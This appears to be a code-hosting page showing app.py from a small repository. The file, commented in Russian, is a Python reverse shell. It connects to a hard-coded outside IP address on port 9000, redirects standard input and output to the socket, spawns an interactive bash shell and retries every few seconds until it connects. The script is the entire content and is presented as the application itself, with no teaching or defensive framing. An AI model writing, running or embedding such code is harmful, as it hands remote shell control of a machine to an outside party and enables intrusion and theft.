zxc / app.py
dana56's picture
Create app.py
c1917c8 verified
raw
history blame
1.57 kB
import socket
import subprocess
import os
import time
def run_reverse_shell():
try:
# Задаем IP-адрес и порт сервера
ip = '45.155.205.202'
port = 9000
while True:
try:
# Создаем сокет
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
# Отправляем сообщение о подключении
s.send(b"Connected to reverse shell.\n")
# Сразу входим в интерактивную оболочку
os.dup2(s.fileno(), 0) # stdin
os.dup2(s.fileno(), 1) # stdout
os.dup2(s.fileno(), 2) # stderr
# Запускаем оболочку (например, bash)
p = subprocess.call(['/bin/bash', '-i']) # Используем -i для интерактивного режима
# Закрываем сокет
s.close()
break # Выходим из цикла, если соединение успешно
except Exception as e:
print(f"Connection failed: {e}. Retrying in 3 seconds...")
time.sleep(3) # Ждем 3 секунды перед повторной попыткой
except Exception as e:
print(f"An error occurred: {str(e)}")
if __name__ == "__main__":
run_reverse_shell()